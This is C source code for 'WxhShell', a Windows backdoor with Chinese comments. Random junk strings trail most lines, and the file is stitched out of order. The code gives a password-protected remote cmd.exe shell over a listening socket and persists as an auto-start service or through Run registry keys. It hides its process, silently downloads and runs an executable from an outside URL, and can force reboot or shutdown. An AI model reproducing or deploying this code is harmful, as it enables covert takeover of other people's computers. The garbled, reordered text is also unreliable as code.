    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0CRk&_ht  
    else { ~b.e9FhdA  
    closesocket(wsh); ZtqN8$[6n  
    ExitThread(0); N b@zn0A(;  
    } %QrpFE5 V5  
    break; au 5qbP  
    } ;p'Ej'E  
  // 获取shell %{M&"Mv  
  case 's': { ]pP [0 S  
    CmdShell(wsh); yjxv D  
    closesocket(wsh); 96 !e:TU  
    ExitThread(0); q%A.)1<'_  
    break; lGtTZ cg  
  } " )_-L8  
  // 退出 [boB4>.  
  case 'x': { kI>PaZ`i)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p/!P kKJ  
    CloseIt(wsh); wsLfp82  
    break; &%4*~;o  
    } <v =T31aS  
  // 离开 X6Hd%}*mN  
  case 'q': { !c8hER!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T.p:`}Ma  
    closesocket(wsh); j:6VWdgq  
    WSACleanup(); )w++cC4/5  
    exit(1); :=K <2  
    break; byUstm6y  
        } OJF41Z  
  } N/&t) 7  
  } 41V}6+$g  
+Qe&#"O0  
  // 提示信息 Iz[T.$9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B#U:6Ty  
} #$[}JiuL/  
  } 5?n@.hcL  
 rVo?I  
  return; NYcF]K}[  
} kX^Y{73  
78 W&  
// shell模块句柄 0QxE6>xL=  
int CmdShell(SOCKET sock) \6U$kMGde  
{ >AT T<U=  
STARTUPINFO si; yl[6b1  
ZeroMemory(&si,sizeof(si)); bM"crRG"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZeyA bo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %VD>S  
PROCESS_INFORMATION ProcessInfo; 'P^6H$0  
char cmdline[]="cmd"; %>G(2)Fb\\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >1n[Y- r  
  return 0; H(TY.  
} ]TmxCTVL  
=icynW^Fr  
// 自身启动模式 z3:tSjF  
int StartFromService(void)  e ):rr*  
{ B:Xmc,|,  
typedef struct CgO&z<A!&  
{ M'4$z^@Z  
  DWORD ExitStatus; qJZ5w }  
  DWORD PebBaseAddress; 5#v|t\ {  
  DWORD AffinityMask; C`0;  
  DWORD BasePriority; *To 5\|  
  ULONG UniqueProcessId; KLn.vA.  
  ULONG InheritedFromUniqueProcessId; ;{k`nv_6  
}   PROCESS_BASIC_INFORMATION; G*;6cV19  
eJ23$VM+9  
PROCNTQSIP NtQueryInformationProcess; d]*a:>58  
TE.O@:7Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZOK,P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dqw?3 KB  
Z/S7ei@56  
  HANDLE             hProcess; VTt{ 0 ~  
  PROCESS_BASIC_INFORMATION pbi; QP {V  
#AJo75E%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ![,W?  
  if(NULL == hInst ) return 0; _s_%}8o  
*uq}jlD`!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3bi,9 >%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Gq|OT 8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2-<i#nA3  
c= }#8d.  
  if (!NtQueryInformationProcess) return 0; :sY pZX1  
XJ`!d\WL/!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); > v~?Vd(  
  if(!hProcess) return 0; ][y~(&=T  
`]8z]PD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9"H]zfW  
;m+*R/  
  CloseHandle(hProcess); Oa'DVfw2J  
,L"1Ah  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2C!Ko"1Y'  
if(hProcess==NULL) return 0; )lo;y~ o  
2V 1|b`b#4  
HMODULE hMod; BSGC.>$s  
char procName[255]; }? W[D  
unsigned long cbNeeded; 8a^E{x@HT  
,/=Fm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n8.W$&-ia  
H.HXwN/x  
  CloseHandle(hProcess); QD}'2{M!  
\NEXtr`Th  
if(strstr(procName,"services")) return 1; // 以服务启动 SeC[,  
&z@~n  
  return 0; // 注册表启动 =wEqI)Td  
}  6tPgFa#N  
XPhC*r  
// 主模块 )r)3.|wJm  
int StartWxhshell(LPSTR lpCmdLine) 'TF5CNX  
{ 0 2lI-xHe  
  SOCKET wsl; Vk/!_)  
BOOL val=TRUE; 1FCHqqZ=  
  int port=0; /7nircXj@  
  struct sockaddr_in door; \=O['#  
Y'YvVI  
  if(wscfg.ws_autoins) Install(); R*l#[D5A  
3:XF7T  
port=atoi(lpCmdLine); 7ktSj}7W]  
JYt)4mOo  
if(port<=0) port=wscfg.ws_port; Vg 6/1I  
K|q5s]4I  
  WSADATA data; 0.9%m7.m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f8T6(cA  
e-Xr^@M*Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nNCG*Vu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o~vUqj?BA  
  door.sin_family = AF_INET; ID-Y*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J\kGD  
  door.sin_port = htons(port); RZtY3:FBx|  
Y~P1r]piB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {W[OjPC~F  
closesocket(wsl); wN|;_~h2  
return 1; T=EHue$  
} `Dck$  
fL #e4  
  if(listen(wsl,2) == INVALID_SOCKET) { R|jt mI?  
closesocket(wsl); F ka^0  
return 1; (9#$za>  
} *?2aIz"  
  Wxhshell(wsl); &DX&*Xq2  
  WSACleanup(); /Ria"lLv  
% Rv ;e  
return 0; e;M#MkP7  
8QYP\7}o  
} jf`QoK  
KlMSkdmW  
// 以NT服务方式启动 3tO=   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _M;n.?H  
{ ;.O#|Z[  
DWORD   status = 0; xnuu#@f  
  DWORD   specificError = 0xfffffff; e ej:  
lo1<t<w`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z%Kkh2-uh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _ (U|Kpi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^V1.Y  
  serviceStatus.dwWin32ExitCode     = 0; \iBEyr]  
  serviceStatus.dwServiceSpecificExitCode = 0; K@JGGgrE`!  
  serviceStatus.dwCheckPoint       = 0; kBh*@gf  
  serviceStatus.dwWaitHint       = 0; ~HFqAOr  
E%[2NsOM]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X]Aobtz  
  if (hServiceStatusHandle==0) return; N)kZ2|oD  
u<VR;p:y  
status = GetLastError(); k10g %K4g  
  if (status!=NO_ERROR) ~rUcko8  
{ G^G= .9O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I@$cw3  
    serviceStatus.dwCheckPoint       = 0; '7oWN,-  
    serviceStatus.dwWaitHint       = 0; yHXQCWY{8;  
    serviceStatus.dwWin32ExitCode     = status; n=z=%T6  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ft<6`C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %4=r .9  
    return; U<YP@?w  
  } \aEarIX#*  
n(}W[bZ4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oMb&a0-7u  
  serviceStatus.dwCheckPoint       = 0; M$jU-;hRH  
  serviceStatus.dwWaitHint       = 0; _d[4EY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Q**4  
} q =\3jd  
}nsxo5WP  
// 处理NT服务事件,比如:启动、停止 hT=6XO od4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :t7M'BSm2z  
{ pie,^-_.g  
switch(fdwControl) ^69ZX61vt  
{ ;R_H8vp  
case SERVICE_CONTROL_STOP: U_&v|2o#3  
  serviceStatus.dwWin32ExitCode = 0; !`A]YcQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r1jsw j%7  
  serviceStatus.dwCheckPoint   = 0; \l_U+d,qq  
  serviceStatus.dwWaitHint     = 0; j(QK0"z  
  { fn~Jc~[G|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;(F_2&he  
  } nlq"OzcH04  
  return; F> H5 ww9E  
case SERVICE_CONTROL_PAUSE: 9'My /A0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g'%^-S ]  
  break; RT`jWWh*Lo  
case SERVICE_CONTROL_CONTINUE: [z2jR(+`U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x%Fy1.  
  break; Wx`| u  
case SERVICE_CONTROL_INTERROGATE: [ T6MaP?  
  break; 7m<;"e)  
}; tO@n3"O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?V{AP&#M$x  
} $`wo8A|)  
Dcep^8'  
// 标准应用程序主函数 z6Xn9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6^+T_{gl  
{ Zv"qA  
=SUCcdy&  
// 获取操作系统版本 a(s% 3"*Q  
OsIsNt=GetOsVer(); U WU PY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3G.-JLhs  
s|O4 >LsG  
  // 从命令行安装 <5xlP:Cx  
  if(strpbrk(lpCmdLine,"iI")) Install(); O-N@HZC  
tLD(%s_  
  // 下载执行文件 Lj,!0 25  
if(wscfg.ws_downexe) {  |4_[wX r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h{Zd, 9H  
  WinExec(wscfg.ws_filenam,SW_HIDE);  ds#om2)  
} 9i?Q=Vuc~<  
U9/>}Ni%3G  
if(!OsIsNt) { H wu (}  
// 如果时win9x,隐藏进程并且设置为注册表启动 79bt%P  
HideProc(); !8Mi+ZV  
StartWxhshell(lpCmdLine); 9R1S20O  
} u&npUw^Va  
else ,K-?M5(n9  
  if(StartFromService()) FRR`<do5$,  
  // 以服务方式启动 { ML)F]]  
  StartServiceCtrlDispatcher(DispatchTable); 1M<;}hJ{/  
else ~\QN.a   
  // 普通方式启动 )/Mk\``j  
  StartWxhshell(lpCmdLine); .!^}sp,E  
}Y=X{3+~.  
return 0; F5(DA  
} AB0>|.  
+*')0I  
.zQ'}H1.C  
'k1vV  
=========================================== |{j\7G*5  
*$Tz g!/  
.271at#-  
p4sU:  
7A6:*  
tDQo1,(oY  
" z"PU`v  
Vgg' 5o&.  
#include <stdio.h> SU$%nK)  
#include <string.h> 9u^yEqG`  
#include <windows.h> Y *?hA'  
#include <winsock2.h> +)06*"I  
#include <winsvc.h> ./r#\X)dc  
#include <urlmon.h> c) q'" r  
'#ow 9w+^  
#pragma comment (lib, "Ws2_32.lib") -n#fj;.2_  
#pragma comment (lib, "urlmon.lib") 1<n'F H3  
j3$\+<m]  
#define MAX_USER   100 // 最大客户端连接数 Ae3=o8p  
#define BUF_SOCK   200 // sock buffer 3$#=* Zp  
#define KEY_BUFF   255 // 输入 buffer loByT p ^  
.Z#8,<+  
#define REBOOT     0   // 重启 F./$nwb  
#define SHUTDOWN   1   // 关机 ~z$+uK  
0\DlzIO  
#define DEF_PORT   5000 // 监听端口 yq]/r=e!k  
g5>c-i  
#define REG_LEN     16   // 注册表键长度 "( NJ{J#A  
#define SVC_LEN     80   // NT服务名长度 <)4>"SN&^  
mgL{t"$c  
// 从dll定义API D@iE2-n&V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $>6Kn`UX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ll#_v^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h#?)H7ft  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G$7!/O%#_  
hG!|ts  
// wxhshell配置信息 e00s*LdC  
struct WSCFG { gg+!e#-X  
  int ws_port;         // 监听端口 DMpNm F>  
  char ws_passstr[REG_LEN]; // 口令 FXO{i:Zo  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^sb+|b  
  char ws_regname[REG_LEN]; // 注册表键名 wNtPh&  
  char ws_svcname[REG_LEN]; // 服务名 "}ZUa~7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i0py5Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 : kw14?]_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9|5>?'CqP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (+w.?l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {Ip)%uR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g(-}M`  
s& Lyg>>`  
}; w7"&\8a  
$geDB~ 2>  
// default Wxhshell configuration Q~#[_Upkc  
struct WSCFG wscfg={DEF_PORT, wU(N<9  
    "xuhuanlingzhe", _]q%Hve  
    1, =CGB}qU l0  
    "Wxhshell", em, j>qp  
    "Wxhshell", n\'@]qG)Z4  
            "WxhShell Service", whb,2=gIE  
    "Wrsky Windows CmdShell Service", Ks FkC=  
    "Please Input Your Password: ", o)SA^5  
  1, p5?8E$VHV  
  "http://www.wrsky.com/wxhshell.exe", /}&@1  
  "Wxhshell.exe" oV,lEXz  
    }; #1VejeTi  
jB-wJNP/  
// 消息定义模块 oaMh5 FPy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kXY p.IVA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;UoXj+Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F ?.J1]  
char *msg_ws_ext="\n\rExit."; g6l&;S40  
char *msg_ws_end="\n\rQuit."; q%\rj?U_  
char *msg_ws_boot="\n\rReboot..."; jdW#; ]7+y  
char *msg_ws_poff="\n\rShutdown..."; yr, Oq~e  
char *msg_ws_down="\n\rSave to "; w W1>#F  
.In8!hjYy4  
char *msg_ws_err="\n\rErr!"; <h[l)-86  
char *msg_ws_ok="\n\rOK!"; u(bPdf@kz  
5l,Q=V^@l  
char ExeFile[MAX_PATH]; yE>f.|(  
int nUser = 0; 6fcn(&Qk  
HANDLE handles[MAX_USER]; [&H?--I  
int OsIsNt; +E8}5pDt  
 OYwH$5  
SERVICE_STATUS       serviceStatus; ns;nle|m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IP-}J$$1  
jSMs<ox  
// 函数声明 =[x @BzH  
int Install(void); ;&?l1Vu  
int Uninstall(void); xjO((JC  
int DownloadFile(char *sURL, SOCKET wsh); s\dhQZw3  
int Boot(int flag); ;y%C\YB#  
void HideProc(void); HS[N]'dc  
int GetOsVer(void); t]PO4GA  
int Wxhshell(SOCKET wsl); UCDvN  
void TalkWithClient(void *cs); u[yUUYe  
int CmdShell(SOCKET sock); ?KF.v1w7  
int StartFromService(void); ]id5jVY  
int StartWxhshell(LPSTR lpCmdLine); zyF[I6Gs  
*oP&'$P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &9,<_1~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); elw}(l<F  
E])X$:P?  
// 数据结构和表定义 WTZr{)e  
SERVICE_TABLE_ENTRY DispatchTable[] = }2i3  
{ N,Ys}qP  
{wscfg.ws_svcname, NTServiceMain}, "H!2{l{  
{NULL, NULL} o;<oXv  
}; MF%>avRj  
wD'LX  
// 自我安装 SYZS@o  
int Install(void) 6yRxb (  
{ W$_@9W(Bl  
  char svExeFile[MAX_PATH]; Tx!c }  
  HKEY key; i[x;k;m2q  
  strcpy(svExeFile,ExeFile); i~04P  
~e@pL*s  
// 如果是win9x系统,修改注册表设为自启动 +w'{I`QIL0  
if(!OsIsNt) { jhmWwT/O8^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oN/T>&d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8E9W\@\  
  RegCloseKey(key); 2(Ez H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =|G l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); glvt umv  
  RegCloseKey(key); #6 yi  
  return 0; {2,OK=XM|  
    } a|\ZC\(xI  
  } 3kl\W[`?  
} \hcb~>=C  
else { ;}=[( eqA  
rBUdHd9  
// 如果是NT以上系统,安装为系统服务 'G-zJcU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *=O~TY<](  
if (schSCManager!=0) /92m5p  
{ |K%nVcR=  
  SC_HANDLE schService = CreateService WF{rrU:  
  ( Gj}P6V _  
  schSCManager, BHW8zY=F  
  wscfg.ws_svcname, XCTee  
  wscfg.ws_svcdisp, I!;&#LT+b  
  SERVICE_ALL_ACCESS, hiN6]jL|O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (!0=~x|Z[  
  SERVICE_AUTO_START, 5$ra4+k0  
  SERVICE_ERROR_NORMAL, e2 ?7>?  
  svExeFile, !SFF 79$c  
  NULL, <Hq|<^_K  
  NULL, X(;,-7Jw  
  NULL, T;u>]"S  
  NULL, !pNY`sw}  
  NULL ZxRD+`  
  ); 1Lf:TQB  
  if (schService!=0) [|\JIr=of5  
  { e2v[ma-  
  CloseServiceHandle(schService); Jm+hDZrW  
  CloseServiceHandle(schSCManager); ,&\uuD&.@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yy"05V.  
  strcat(svExeFile,wscfg.ws_svcname); ^|(w)Sy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -$]Tn#`Fb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?r,lgaw  
  RegCloseKey(key); u}7#3JfLn  
  return 0; ttwfWfX  
    } IaU  
  } n0T'"i[  
  CloseServiceHandle(schSCManager); W]UGo,  
} 6J|Y+Y$  
} 4D`T_l  
7O)U(<70  
return 1; [8VB"{{&  
} TuBl9 p'6  
]tVU$9D   
// 自我卸载 tCk;tu!d  
int Uninstall(void) ">G|\_ZF  
{ q,JMmhWaT  
  HKEY key; L.[ H   
Z5uetS^  
if(!OsIsNt) {  wv2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y6lle<SIu  
  RegDeleteValue(key,wscfg.ws_regname); WJ9=hr  
  RegCloseKey(key); 8- ?.Q"D7%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Asn7 ;x0;  
  RegDeleteValue(key,wscfg.ws_regname); v [_C^;  
  RegCloseKey(key); :/BU-SFK^  
  return 0; .]qj];m  
  } $f-f0t'  
} B?nQUIb:  
} aMSX"N"ot  
else { -|MeC  
`o 6Hm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ag-\(i;K]  
if (schSCManager!=0) ?Mg&e/^  
{ J>YwMl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =8r%zLDw  
  if (schService!=0) wjF/c  
  { h7NS9CgO  
  if(DeleteService(schService)!=0) { ;~$_A4;  
  CloseServiceHandle(schService); Hb KJ&^  
  CloseServiceHandle(schSCManager); gL(ny/Ob9  
  return 0; -,Q !:  
  } W27EU/+3  
  CloseServiceHandle(schService); iw\RQ 0  
  } G SXe=?  
  CloseServiceHandle(schSCManager); ISI\< qx  
} 8 'Z#sM^E  
} "r!O9X6  
!e?GS"L~  
return 1; uoYG@L2  
} Cg/L/0Ak  
/2K4ka<?7  
// 从指定url下载文件 =h?WT*  
int DownloadFile(char *sURL, SOCKET wsh) y]B?{m``6  
{ 7u!i)<pn  
  HRESULT hr; )z/+!y  
char seps[]= "/"; P {x`eD0  
char *token; GqXnOmk  
char *file; {H+~4XG  
char myURL[MAX_PATH]; )\C:|  
char myFILE[MAX_PATH]; J#7\R':}zl  
'ao<gTUbu  
strcpy(myURL,sURL); (PjC]`FK  
  token=strtok(myURL,seps); XYtDovbv&  
  while(token!=NULL) N<1u,[+  
  { [];*9vxW  
    file=token; `H6-g=C  
  token=strtok(NULL,seps); 5-M E Oy(  
  } b-8{bP]n  
_ji"##K  
GetCurrentDirectory(MAX_PATH,myFILE); n*6Oa/JG7  
strcat(myFILE, "\\"); |*5Kfxq  
strcat(myFILE, file); ?(el6J}  
  send(wsh,myFILE,strlen(myFILE),0); %|$h<~  
send(wsh,"...",3,0); B] dvX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GndU}[0J  
  if(hr==S_OK) pe>R2<!$  
return 0; &v7$*n27  
else cXiNO ke&  
return 1; _5(lp} s  
sK8=PZ \  
} n=#AH;42  
7F OG^  
// 系统电源模块 oa(R,{_*q  
int Boot(int flag) nqNL[w6{  
{ ^s/HbCA  
  HANDLE hToken; !%{/eQFT4  
  TOKEN_PRIVILEGES tkp; B#Cb`b"  
o(GXv3L  
  if(OsIsNt) { K,{P b?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'M>QA"*48E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LeDty_  
    tkp.PrivilegeCount = 1; ezn%*X y,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MaDdiyeC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 68 % = V>V  
if(flag==REBOOT) { 8"L#5MO t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fvn`$  
  return 0; DD`Bl1)  
} &~ of]A  
else { O4w6\y3U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?AC flU_k  
  return 0; Umx~!YL!  
} hh/C{ l  
  } kH'LG!O  
  else { kR2kV"-l  
if(flag==REBOOT) { DPCB=2E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r(;sX  
  return 0; (jbHV.]P9  
} oc+TsVt  
else { h>AK^fX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fgrflW$  
  return 0; wVU.j$+_#  
} xj8 yQ Y1  
} 0$)uOUVJ  
HBHDu;u  
return 1; \$GM4:R D  
} mw2/jA7  
]X y2km]  
// win9x进程隐藏模块 q1!45a  
void HideProc(void) {cmY`to  
{ <d89eV+  
] TY$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dm8N;r/w  
  if ( hKernel != NULL ) 86pujXjc'  
  { m)l<2 `CM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9u6GeK~G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jc rLUs+\  
    FreeLibrary(hKernel); Jg} w{,  
  } 'sb&xj`d  
O# n<`;W  
return; Qh*"B  
} En01LrC?  
{m%]`0  
// 获取操作系统版本 f793yCiG  
int GetOsVer(void) zh8\ _> +  
{ +9LIpU&5  
  OSVERSIONINFO winfo; HK_Vk\e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^n Gj 7b  
  GetVersionEx(&winfo); Hw"Lo Vh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M_ *KA  
  return 1; S7i,oP7  
  else UAleGR`,  
  return 0; &CP]+ at  
} N_jpCCG~  
+H"[WZ5  
// 客户端句柄模块 #aHPB#  
int Wxhshell(SOCKET wsl) EWz,K] _'  
{ 1eod;^AP9  
  SOCKET wsh; XT2:XWI8  
  struct sockaddr_in client; p>Z18  
  DWORD myID; ,xcm:; &  
KHnq%#  
  while(nUser<MAX_USER) tqo k.h  
{ f/"? (7F  
  int nSize=sizeof(client); }Pi}? 41!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M N-j$-y}  
  if(wsh==INVALID_SOCKET) return 1; Sq<ds}o'8l  
;og[ q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); olA 1,8  
if(handles[nUser]==0) {X r|L  
  closesocket(wsh); #bIUO2yVo  
else %?2:1o  
  nUser++; Q[rmsk 2L'  
  } PMOyZ3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {HF,F=W  
Y\7WCaSgi  
  return 0; LIah'6qR  
} ;@5N  
XC*!=h*  
// 关闭 socket _8QHx;}  
void CloseIt(SOCKET wsh) U5[,UrC  
{ %Z.!T  
closesocket(wsh); z4!Y9  
nUser--; FaA'%P@  
ExitThread(0); n]nb+_-97  
} Z'Uc}M'U  
5~ip N/)E  
// 客户端请求句柄 }Bk>'  
void TalkWithClient(void *cs) @#u'z ~a)  
{ 6'Sq|@VOi  
 []L yu  
  SOCKET wsh=(SOCKET)cs; +cXdF  
  char pwd[SVC_LEN]; 1uwzo9Yg  
  char cmd[KEY_BUFF]; QV%,s!_b  
char chr[1]; }c]u'a!4  
int i,j; pnTuYT^%)  
?z{Z!Bt?=)  
  while (nUser < MAX_USER) { e&k=fV  
=6YffXa_s  
if(wscfg.ws_passstr) { w *Txc}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _6Z}_SiOl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P#j>hS  
  //ZeroMemory(pwd,KEY_BUFF); o],z/MPL  
      i=0; c.?+rcnq  
  while(i<SVC_LEN) { >Hd Pcsl L  
$ca>b X]  
  // 设置超时 I d}@  
  fd_set FdRead; 6+.8nx:9X  
  struct timeval TimeOut; o[Gp*o\  
  FD_ZERO(&FdRead); +M s`C)f  
  FD_SET(wsh,&FdRead); }L|cg2y  
  TimeOut.tv_sec=8; 7g%.:H =  
  TimeOut.tv_usec=0; ^U;r>[T9h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h.t2;O,b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 35}]U=  
ZHN}:W/p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); be+]kp  
  pwd=chr[0]; &al\8  
  if(chr[0]==0xd || chr[0]==0xa) { SbYs a  
  pwd=0; zNh$d;(O$^  
  break; .dw;b~p  
  } :k&5Z`>)  
  i++; _GtG8ebr  
    } lm[LDtc  
8|2I/#F}]  
  // 如果是非法用户,关闭 socket }uo.N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4xsnN@b  
} r1]DkX <6  
j0(+Kq:J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x6iT"\MO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^v+7IFn  
*Q`y'6S  
while(1) { d@QC[$qXj  
|]=s  
  ZeroMemory(cmd,KEY_BUFF); ,\CG}-v@CN  
( L ]C  
      // 自动支持客户端 telnet标准   )BX-Y@fpA  
  j=0; uzO3_.4Y  
  while(j<KEY_BUFF) {  ~=Q|EhF5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {!av3Pz\  
  cmd[j]=chr[0]; =JDa[_lpN  
  if(chr[0]==0xa || chr[0]==0xd) { sqjv3=}  
  cmd[j]=0; ,0fYB*jk  
  break; EG oe<.  
  } 6i=Nk"d  
  j++; /OsTZ"*.2/  
    }  1k39KO@  
]/TqPOi:  
  // 下载文件  $hgsWa  
  if(strstr(cmd,"http://")) { y0b FzR9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <pp<%~_Z  
  if(DownloadFile(cmd,wsh)) X)^&5;\`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zt{\<5j  
  else )an,-EIX%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V+dFL9  
  } >XomjU[srQ  
  else { )u}MyFl.  
!vwx0  
    switch(cmd[0]) { >G<.^~o  
  ,].S~6IM  
  // 帮助 RXWS,rF  
  case '?': { oP`yBX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =2tl149m/z  
    break; uJ_"gPO  
